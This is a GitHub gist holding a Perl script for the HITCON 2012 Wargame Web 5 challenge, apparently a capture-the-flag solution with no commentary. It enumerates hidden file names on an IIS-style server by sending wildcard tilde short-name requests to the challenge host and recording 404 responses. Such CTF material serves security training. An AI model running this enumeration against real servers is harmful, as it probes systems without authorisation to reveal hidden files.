Skip to content

Instantly share code, notes, and snippets.

@dm4
Created July 26, 2012 06:44
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save dm4/3180618 to your computer and use it in GitHub Desktop.
Save dm4/3180618 to your computer and use it in GitHub Desktop.
HITCON 2012 Wargame Web 5
#!/usr/bin/perl -w
use 5.010;
use LWP;
use URI::Escape;
use strict;
my $str = 'abcdefghijklmnopqrstuvwxyz0123456789~!@#$%^&*()_+`-=[]\\{}|;\':",./<>? ';
my @chars = map { uri_escape($_) } split //, $str;
my @stack;
#my $path = 'hkey_local_machine/system/currentcontrolset/';
my $path = '';
my $browser = LWP::UserAgent->new;
for (@chars) {
my $url = 'http://wg2.hack.idv.tw:2012/'.uri_escape($path.$_.'*~1*/.aspx');
my $response = $browser->get( $url );
my $r = $response->status_line;
if ($r =~ /^404/) {
say;
push @stack, $_;
}
}
while ($#stack >= 0) {
my $pre = pop @stack;
for (@chars) {
my $url = 'http://wg2.hack.idv.tw:2012/'.uri_escape($path.$pre.$_.'*~1*/.aspx');
my $response = $browser->get( $url );
my $r = $response->status_line;
if ($r =~ /^404/) {
say $pre.$_;
push @stack, $pre.$_;
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment